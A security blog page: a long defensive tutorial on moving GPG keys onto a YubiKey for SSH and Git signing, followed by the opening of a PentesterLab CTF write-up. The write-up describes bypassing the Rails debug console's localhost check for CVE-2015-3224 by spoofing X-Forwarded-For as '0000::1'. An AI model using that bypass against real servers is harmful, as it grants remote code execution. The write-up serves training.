Pretty Good Security

Seems like a lot of companies are getting hacked these days, even companies that put a lot of effort into security. There are a lot of reasons for this, but I believe there are three main causes.

First, much of the dialog around information security security is controlled by large companies that are financially incentivized to divert attention towards solutions that are easily productized.

A good example is Antivirus. Most AV hasn’t provided good information security value for a while. In many cases, it weakens overall security by increasing attack surface area, breaking TLS and weakening browser security. Justin Shuh, the lead security tech on the Chrome browser project once tweeted “AV is my single biggest impediment to shipping a secure browser”.

Unfortunately, these ideas tend to be codified in frameworks like ISO27001 and taught in certificating courses like the CISSP. Password rotation is another great example. We can empirically prove that it results in weaker passwords, but information security practitioners do it anyway, for compliance purposes. Even the FTC thinks forced password rotation is a bad idea.

Second, there is way too much focus on 0-day and APT.

No one is going to burn an expensive high-profile 0-day on your organization. Most adversaries don’t need or use exploits. Go ask any competent penetration testing professional how many exploits they used on their last engagement.

APT is not new–it’s basically just a new word for hacking. Hackers have been using phishing, client-side exploits, malware and lateral movement since at least the 1990s. The over-focus on APT leads people to buy next-gen security magic boxes, and basically ignore IT best-practices that address far riskier avenues of attack.

Third, there are a ton of resources on hacking and penetration testing, but far fewer quality resources on modern network defence. Go to any security conference to see this in action. The number of “hacker show and tell” talks about how to break stuff out numbers defensive talks 10 to 1. Most of the these talks don’t provide any suggestions on how to design controls for or mitigate the issues they describe.

It seems there is a lot of noise and very little signal. So what can we do that’s practical and risk focused?

A Case Study

It’s helpful to examine this from a macro scale to a micro scale to fully understand the issue. As it turns out, we have empirical data on security incidents, breaches and attacker TTPs (tools, techniques and procedures).

Reports like Mandiant M-Trends and the Verizon Data Breach Investigations Report are a gold mine of information. I think they’re great resources for deciding how to dedicate time and resources for your information security program.

We also have micro scale views on the mechanics of real breaches, such as this video of Phineas Phisher hacking a web site and his (or her) write up on how Hacking Team was hacked. These resources contain strong lessons on operating system hardening, network segmentation and rigorous adherence to IT best-practices.

There is also a wealth of information available on tools, tactics and procedures used by adversaries. A recent example I’d like to highlight is the Medium article by Chris McNab describing the TTPs used by Yahoo hacker Alexsey Belan.

I highly recommend reading that article before proceeding. There’s a strong trend across his techniques, the Phineas Phisher hacks and the breach data statistics. It’s an issue that penetration testers have been talking about for years: reuse of stolen trust material (passwords, private keys, tokens and cookies).

To mitigate this issue, we need our systems to make security decisions based on trust material that can’t be stolen or reused. But enough talk, let’s roll up our sleeves and get to work.

Two-Factor Authentication

Multi factor authentication typically has a few pain points when it comes to enterprise implementation. First, how do we integrate it into the myriad of technologies in a typical enterprise network? Second, how do we avoid just moving the problem around. In other words, how do we avoid using things like software certificates that can be stolen with malware?

To solve the first issue, I recommend using Duo Security. I know, I know… vendor pitches are not cool. But in this case I have a practical reason for recommending them: their documentation is awesome.

In the real world, you’re going to need some help with all the integration. Otherwise you’re going to get bogged down maintaining integration code with a constantly shifting landscape of enterprise software products. There are only so many hours in a day–make that someone else’s problem.

I also recommend that you don’t just roll out 2FA on the perimeter. Contrary to popular belief, 2FA isn’t something that just goes on the VPN. Your internal network is not that much more secure than the Internet. You need to integrate it everywhere you possibly can in order to provide the best security value. It doesn’t cost extra for more integrations.

To get started, just sign up. It’s free for up to 10 users and perfect for securing your home lab or personal cloud resources. If you want play with the advanced features, they have a 30-day demo available too.

If we just stopped there, that would actually be a big step up. However, I think we can do better.

Hardware Security

2FA in this form is probably going to be inconvenient. If you use the SMS or phone methods, it introduces a delay that inconveniences users (and it’s not very secure). The app push model is fairly secure, but still has a bit of latency plus the hassle of having to unlock your phone all the time (unless you happen to have an Apple Watch). I say fairly secure because it does rely on your users not rooting/jailbreaking their device or running old Android versions. Unless you have corporately issued phones with strong MDM policy this is definitely not going to be the case.

For these reasons, I recommend hardware-based security tokens. The token you want is the Yubikey 4. It has a killer feature that I’ll dig into later. The Yubikey 4 comes in three variants, the full size version, the mini, and the 4C for USB-C.

yubikey-4-nano-usb-c-trio-crop-1030x686

The Yubikey acts like a keyboard. You just plug it in (or in the case of the mini, just leave it plugged in) and tap the gold button to input your 2FA code. It even presses “enter” for you. Asking your users to tap a gold button when they login is not a very big ask.

To use the Yubikey with Duo, you can reprogram it with the Yubikey personalization tool as described here. However, for compatibility with some applications (like OpenVPN), you may have to reprogram it with 6-digit HOTP. This is fairly simple to do, just open the personalization tool, select OATH-HOTP then select 6-digit code and no token identifier.

yubikey_oath_hotp_configuration

You can import the seed value into the Duo admin panel using CSV import. I strongly recommend performing this process on a dedicated machine running up-to-date and validated software. Please don’t generate seeds on the same box you use to check your mail and surf the web or you’re going to have a bad time.

But wait, there’s more! They also support U2F. The Universal Second Factor standard is a relatively new technology that works with the Chrome browser. Essentially, a compatible web site can use a Javascript API to ask the key to generate a public and private key pair for the site’s origin. Later, the site can send a nonce and some other data to the same API and the key will return a signed version as proof of possession of the private key. The private key always lives on the token and cannot be extracted.

U2F is supported on Github, Google, Dropbox and many other sites. It’s totally painless to use. It can also be used with web-based integrations for Duo.

However, that’s not the killer feature of the Yubikey. There’s one feature that everyone should be using, but I don’t see a lot of people leveraging it today.

GPG and the Yubikey

GPG integrates with the Yubikey, allowing you to store your GPG keys securely in hardware. The Yubikey 4 also supports 4096-bit RSA, which provides very strong security.

GPG can do some pretty amazing things. GPG can act as an SSH agent. Not just for Linux and macOS machines–it can interface with PuTTY on Windows systems as well.

GPG also allows you to perform Git signing. You can integrate Git signing with your CI system as well. This means that you can prevent unsigned commits from running tests or being deployed. You only need to maintain a list of trusted public keys for this to work, and generally it’s not necessary to rotate them unless someone loses their key.

GPG can also be used to encrypt mail. Now I realize that using GPG for mail encryption isn’t perfect, but I guarantee you it’s better than using ZIP encryption and communicating the password via SMS (or whatever you’re doing today).

Warning: The setup for this is an ordeal. Sorry. It’s open source software. But if you’re willing to stick it out, I promise that it’s very convenient and wickedly secure to use day-to-day.

Step 1 – Setup Key Generation Environment

Note: This process is a variation of the guide found here.

Download Tails. Tails is designed for security, is regularly updated, and includes a compatible version of GPG preinstalled. Make sure you validate the image according to their instructions.

Burn the image to either a bootable USB disk or a CDROM, depending on the hardware you have kicking around. If you don’t know how to create a bootable USB disk, Google it.

Now boot into Tails. You will be greeted with a menu similar to the one below. Choose “Yes” for more options.

1_more-options

Now go ahead and disable networking and set a root password.

Once booted into Tails, start a Terminal and insert a fresh Yubikey 4. We’re now ready to start generating keys.

Step 2 – Master Key Generation

First, setup a baseline config:

$ cat << EOF > ~/.gnupg/gpg.conf
use-agent
personal-cipher-preferences AES256 AES192 AES CAST5
personal-digest-preferences SHA512 SHA384 SHA256 SHA224
default-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed
cert-digest-algo SHA512
s2k-digest-algo SHA512
s2k-cipher-algo AES256
charset utf-8
fixed-list-mode
no-comments
no-emit-version
keyid-format 0xlong
list-options show-uid-validity
verify-options show-uid-validity
with-fingerprint
EOF

Now create a master key pair. I don’t recommend using a strong password. We’re going to encrypt these files for offline storage anyway. The protection passphrase will get keyed in dozens of times for this process, so pick something easy to type.

$ gpg --gen-key

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: Phikshun
Email address: phikshun@example.com
Comment:
You selected this USER-ID:
    "Phikshun <phikshun@example.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.

gpg: key 0xFF3E7D88647EBCDB marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   4096R/0xFF3E7D88647EBCDB 2016-05-24
      Key fingerprint = 011C E16B D45B 27A5 5BA8  776D FF3E 7D88 647E BCDB
uid                 [ultimate] Phikshun <phikshun@example.com>

Note that this key cannot be used for encryption.  You may want to use
the command "--edit-key" to generate a subkey for this purpose.

You’ll of course want to use your actual name and email address, especially if you’ll be publishing your keys to a key server. I strongly recommend using a 4096-bit key, and you’ll probably want to key to never expire.

Keep the passphrase you used handy. You’ll need it again shortly.

For convenience, save your key ID to a shell variable:

$ KEYID=0xFF3E7D88647EBCDB

Now create a revocation certificate. This is necessary so that you have a way to revoke the keys if they become lost of stolen.

$ gpg --gen-revoke $KEYID > ~/.gnupg/revoke.txt

sec  4096R/0xFF3E7D88647EBCDB 2016-05-24 Phikshun <phikshun@example.com>

Create a revocation certificate for this key? (y/N) y
Please select the reason for the revocation:
  0 = No reason specified
  1 = Key has been compromised
  2 = Key is superseded
  3 = Key is no longer used
  Q = Cancel
(Probably you want to select 1 here)
Your decision? 1
Enter an optional description; end it with an empty line:
>
Reason for revocation: Key has been compromised
(No description given)
Is this okay? (y/N) y

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0xFF3E7D88647EBCDB, created 2016-05-24

ASCII armored output forced.
Revocation certificate created.

Please move it to a medium which you can hide away; if Mallory gets
access to this certificate he can use it to make your key unusable.
It is smart to print this certificate and store it away, just in case
your media become unreadable.  But have some caution:  The print system of
your machine might store the data and make it available to others!

Now backup your master key:

$ gpg --armor --export-secret-keys $KEYID > ~/.gnupg/master.key

Step 3 – Sub Key Generation

Now we’re going to create subkeys. We will use separate keys for signing, encryption and authentication. They’re all subkeys of the master key we just generated.

Edit the key to create subkeys:

$ gpg --expert --edit-key $KEYID

Secret key is available.

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: ultimate
[ultimate] (1). Phikshun <phikshun@example.com>

First we’ll create the signing key:

gpg> addkey
Key is protected.

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0xFF3E7D88647EBCDB, created 2016-05-24

Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
Really create? (y/N) y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

...................+++++
..+++++

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: ultimate
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
[ultimate] (1). Phikshun <phikshun@example.com>

Now we generate an encryption key:

gpg> addkey
Key is protected.

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0xFF3E7D88647EBCDB, created 2016-05-24

Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
Your selection? 6
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
Really create? (y/N) y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

.+++++
...........+++++

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: ultimate
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
[ultimate] (1). Phikshun <phikshun@example.com>

And finally we generate the authentication key:

gpg> addkey
Key is protected.

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0xFF3E7D88647EBCDB, created 2016-05-24

Please select what kind of key you want:
   (3) DSA (sign only)
   (4) RSA (sign only)
   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
Your selection? 8

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Sign Encrypt

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? s

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Encrypt

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? e

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions:

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? a

Possible actions for a RSA key: Sign Encrypt Authenticate
Current allowed actions: Authenticate

   (S) Toggle the sign capability
   (E) Toggle the encrypt capability
   (A) Toggle the authenticate capability
   (Q) Finished

Your selection? q
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
Really create? (y/N) y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

+++++
.....+++++

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: ultimate
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
sub  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never       usage: A
[ultimate] (1). Phikshun <phikshun@example.com>

gpg> save

Step 4 – Check Your Work

Whew! Yeah, that’s a lot of work. We’re still not out of the woods yet though.

Let’s pause to check our work so far:

$ gpg --list-secret-keys
/home/user/.gnupg/secring.gpg
-------------------------------
sec   4096R/0xFF3E7D88647EBCDB 2016-05-24
      Key fingerprint = 011C E16B D45B 27A5 5BA8  776D FF3E 7D88 647E BCDB
uid                            Phikshun <phikshun@example.com>
ssb   4096R/0xBECFA3C1AE191D15 2016-05-24
ssb   4096R/0x5912A795E90DD2CF 2016-05-24
ssb   4096R/0x3F29127E79649A3D 2016-05-24

We can also verify our keys using the automated key best practice checker:

$ hkt export-pubkeys $KEYID | hokey lint

You should see green output. If you see red, it means your key has failed a check.

Now let’s save a copy of our keys so we can back everything up:

$ gpg --armor --export-secret-keys $KEYID > ~/.gnupg/mastersub.key
$ gpg --armor --export-secret-subkeys $KEYID > ~/.gnupg/sub.key

Step 5 – Backup Your Keys

We just generated keys in software. This doesn’t really solve our problem, because the keys can still be stolen with malware if placed on a general purpose computer with Internet access. We’re going to move them into the Yubikey 4 in a later step.

However, before we do that we need to back them up on an encrypted USB disk. Because our keys will be stored in hardware for daily use, they cannot be extracted. Keeping an encrypted backup ensures we can move them back to a new Yubikey if our existing key becomes damaged, or revoke the keys if it gets stolen.

To make an encrypted USB drive, you can follow the steps in the Tails documentation here. Randomly generate a long password and store it in a password manager. You probably won’t use it for a while, so don’t try and remember it.

Once you have an encrypted drive set up, go ahead and copy all the files in the ~/.gnupg folder into the encrypted volume. Unmount the drive and store it in a secure place.

Step 6 – Move the Keys to the Yubikey

Okay, we’re almost in the home stretch. Now we need to insert the Yubikey and move the keys over.

$ gpg --card-edit

Application ID ...: D2760001240102010006055532110000
Version ..........: 2.1
Manufacturer .....: unknown
Serial number ....: 05553211
Name of cardholder: [not set]
Language prefs ...: [not set]
Sex ..............: unspecified
URL of public key : [not set]
Login data .......: [not set]
Private DO 1 .....: [not set]
Private DO 2 .....: [not set]
Signature PIN ....: not forced
Key attributes ...: 2048R 2048R 2048R
Max. PIN lengths .: 127 127 127
PIN retry counter : 3 3 3
Signature counter : 0
Signature key ....: [none]
Encryption key....: [none]
Authentication key: [none]
General key info..: [none]

The default PIN codes are 123456 and 12345678. We’re not going to change them just yet. I prefer to change them at the end so I don’t constantly have to key in the admin PIN.

We can start by customizing the card:

gpg/card> name
Cardholder's surname:
Cardholder's given name: Phikshun

gpg/card> lang
Language preferences: en

gpg/card> login
Login data (account name): phikshun@example.com

gpg/card> (Press Enter)

Application ID ...: D2760001240102010006055532110000
Version ..........: 2.1
Manufacturer .....: unknown
Serial number ....: 05553211
Name of cardholder: Phikshun
Language prefs ...: en
Sex ..............: unspecified
URL of public key : [not set]
Login data .......: phikshun@example.com
Private DO 4 .....: [not set]
Signature PIN ....: not forced
Key attributes ...: 2048R 2048R 2048R
Max. PIN lengths .: 127 127 127
PIN retry counter : 3 3 3
Signature counter : 0
Signature key ....: [none]
Encryption key....: [none]
Authentication key: [none]
General key info..: [none]

gpg/card> quit

Now let’s move the keys.

$ gpg --edit-key $KEYID

Secret key is available.

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: ultimate
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
sub  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never       usage: A
[ultimate] (1). Phikshun <phikshun@example.com>

gpg> toggle

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> key 1

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb* 4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> keytocard
Signature key ....: [none]
Encryption key....: [none]
Authentication key: [none]

Please select where to store the key:
   (1) Signature key
   (3) Authentication key
Your selection? 1

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0xBECFA3C1AE191D15, created 2016-05-24

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb* 4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> key 1

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> key 2

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb* 4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> keytocard
Signature key ....: 07AA 7735 E502 C5EB E09E  B8B0 BECF A3C1 AE19 1D15
Encryption key....: [none]
Authentication key: [none]

Please select where to store the key:
   (2) Encryption key
Your selection? 2

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0x5912A795E90DD2CF, created 2016-05-24

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb* 4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> key 2

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> key 3

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb* 4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
(1)  Phikshun <phikshun@example.com>

gpg> keytocard
Signature key ....: 07AA 7735 E502 C5EB E09E  B8B0 BECF A3C1 AE19 1D15
Encryption key....: 6F26 6F46 845B BEB8 BDF3  7E9B 5912 A795 E90D D2CF
Authentication key: [none]

Please select where to store the key:
   (3) Authentication key
Your selection? 3

You need a passphrase to unlock the secret key for
user: "Phikshun <phikshun@example.com>"
4096-bit RSA key, ID 0x3F29127E79649A3D, created 2016-05-24

sec  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never
ssb  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
ssb* 4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never
                     card-no: 0006 05553211
(1)  Phikshun <phikshun@example.com>

gpg> save

Now our keys have been moved to the card (as indicated by “ssb>”):

$ gpg --list-secret-keys
/home/user/.gnupg/secring.gpg
-------------------------------
sec   4096R/0xFF3E7D88647EBCDB 2016-05-24
      Key fingerprint = 011C E16B D45B 27A5 5BA8  776D FF3E 7D88 647E BCDB
uid                            Phikshun <phikshun@example.com>
ssb>  4096R/0xBECFA3C1AE191D15 2016-05-24
ssb>  4096R/0x5912A795E90DD2CF 2016-05-24
ssb>  4096R/0x3F29127E79649A3D 2016-05-24

Step 7 – Change the PIN Codes

There are two PINs. The first PIN is 6-digits and it’s known as the user PIN. You will need to type it in when you use your keys (when logging in via SSH for example). Don’t pick something like 111111 or 123123. Randomly generate it and remember it. It’s only 6-digits.

The second PIN is 8-digits and it’s called the administrative PIN. It’s used to add or modify keys, change card settings or reset the card lock if you get the user PIN wrong too many times.

Change the PIN codes using the commands:

$ gpg --change-pin

1 - change PIN
2 - unblock PIN
3 - change Admin PIN
4 - set the Reset Code
Q - quit

Your selection? 1
PIN changed.

1 - change PIN
2 - unblock PIN
3 - change Admin PIN
4 - set the Reset Code
Q - quit

1 - change PIN
2 - unblock PIN
3 - change Admin PIN
4 - set the Reset Code
Q - quit

Your selection? 3
PIN changed.

1 - change PIN
2 - unblock PIN
3 - change Admin PIN
4 - set the Reset Code
Q - quit

Your selection? q

Step 8 – Save Your Public Key

Finally, insert a plain old USB key (something FAT formatted) and copy your public key to it:

$ gpg --armor --export $KEYID > /mnt/public-usb-key/pubkey.txt

As implied by the name, the public key can be shared. If you’re using it for email encryption, you might want to upload it to a key server so that others can find it too.

You can now shutdown Tails. We won’t need it for the next part.

SSH and Git Signing

If you’re still reading then congratulations. You are a trooper. But now that we’ve gone through this process, how do we use our new key?

I use a Mac, so I’m going to walk through the process on macOS. If you’re running Windows or Linux, don’t despair. GPG works on those platforms too but the installation process will be different. There are plenty of guides on the Internet that have installation instructions. If you are using Windows, note that you should use GPG modern. GPG4Win does not support the Yubikey at this time.

To install GPG for macOS, download and install GPGSuite. It’s a quick install and it just works.

Once you have GPGSuite installed, open Terminal to import your public key and mark it as trusted:

$ gpg --import /Volumes/Key/pubkey.txt
gpg: key 0xFF3E7D88647EBCDB: public key "Phikshun <phikshun@example.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

$ gpg --edit-key 0xFF3E7D88647EBCDB

Secret key is available.

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: unknown       validity: unknown
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
sub  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never       usage: A
[ unknown] (1). Phikshun <phikshun@example.com>

gpg> trust
pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: unknown       validity: unknown
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
sub  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never       usage: A
[ unknown] (1). Phikshun <phikshun@example.com>

Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)

  1 = I don't know or won't say
  2 = I do NOT trust
  3 = I trust marginally
  4 = I trust fully
  5 = I trust ultimately
  m = back to the main menu

Your decision? 5
Do you really want to set this key to ultimate trust? (y/N) y

pub  4096R/0xFF3E7D88647EBCDB  created: 2016-05-24  expires: never       usage: SC
                               trust: ultimate      validity: unknown
sub  4096R/0xBECFA3C1AE191D15  created: 2016-05-24  expires: never       usage: S
sub  4096R/0x5912A795E90DD2CF  created: 2016-05-24  expires: never       usage: E
sub  4096R/0x3F29127E79649A3D  created: 2016-05-24  expires: never       usage: A
[ unknown] (1). Phikshun <phikshun@example.com>
Please note that the shown key validity is not necessarily correct
unless you restart the program.

gpg> quit

Now let’s setup SSH to use our smart card:

$ cat << EOF > ~/.gnupg/gpg-agent.conf
default-cache-ttl 60
max-cache-ttl 120
pinentry-program /usr/local/MacGPG2/libexec/pinentry-mac.app/Contents/MacOS/pinentry-mac
enable-ssh-support
write-env-file
EOF

$ killall gpg-agent
$ /usr/local/MacGPG2/bin/gpg-agent --daemon

That’s it! Now insert your Yubikey, and type:

$ ssh-add -L
ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAACAz[...]zreOKM+HwpkHzcy9DQcVG2Nw== cardio:000605553211

That’s your public key. You can set it up as an authorized key on any SSH server you like. If you’re in a devops shop, you (or your ops people) can distribute it with Chef/Ansible/Puppet. You can also log into Github and add it as a trusted SSH key (be sure to remove your insecure software keys while you’re at it).

To test, try logging into Github via SSH. When you login, you’ll receive the following prompt:

ssh

Finally, let’s setup Git signing. It’s as simple as turning on a few Git variables:

$ git config --global user.signingkey FF3E7D88647EBCDB
$ git config --global commit.gpgSign true

For details on validating commits and other options, see the documentation.

Conclusion

So let’s look at Alexsey Belan’s TTPs one more time:

  • He identified peripheral web servers via Google and Linkedin searches
  • Used known WordPress flaws and custom bugs to compromise PHP sites
  • Linux authentication mechanisms were altered to capture credentials [fixed]
  • Nmap was used to identify exposed network services internally
  • Corporate Wikis revealed administrative workflows and VPN details
  • Ticketing, bug tracking, and version control systems provided secrets (e.g. cryptographic keys, seeds, hashes, credentials, and source code) [fixed]
  • Cookies from weak non-production instances (e.g. staging) were valid in production as cryptographic materials were the same — bypassing 2FA
  • Client certificates (exposed by email, ticketing, or lifted from filesystems) were combined with known credentials to access corporate VPNs [fixed]
  • Engineering credentials were used to commit backdoors to version control which were self-approved and later deployed into production [fixed]

Not bad for a days work, eh?

Pentester Lab CTF Badge Writeup

Pentester Lab is a great site. If you haven’t done any of the challenges I highly recommend that you head over and try it out.

The pro version of the site has various badge tracks and even sends you a certificate of completion. I received my certificate for the CTF badge the other day, and I figured I’d do a write up of the challenges for others that might be interested.

Spoiler Alert: The solutions are posted below. If you plan on doing the CTF badge, don’t cheat — it will take all the fun out of it :).

CVE-2015-3224

The first challenge is the exploitation of CVE-2015-3224. This CVE is a vulnerability in the Ruby on Rails debug console present in Rails versions 3.x and 4.x.

The debug console is only permitted when the connection is initiated from localhost. This is intended to provide a developer working locally to use an interactive Ruby shell to inspect variables, issue queries and other tasks to figure out why an exception occurred. This also grants code execution, which is generally not a problem since the service is running locally anyway.

The issue detailed by the CVE is a whitelisting bypass. If misconfigured, a remote user can spoof the source address when connecting to services that are designed to use a front-end load balancer by using the X-Forwarded-For or X-Real-IP headers. The bypass in this case is setting the X-Forwarded-For header to “0000::1”, which is a way to express the IPv6 loopback address on a host.

Werkzeug Debug Mode

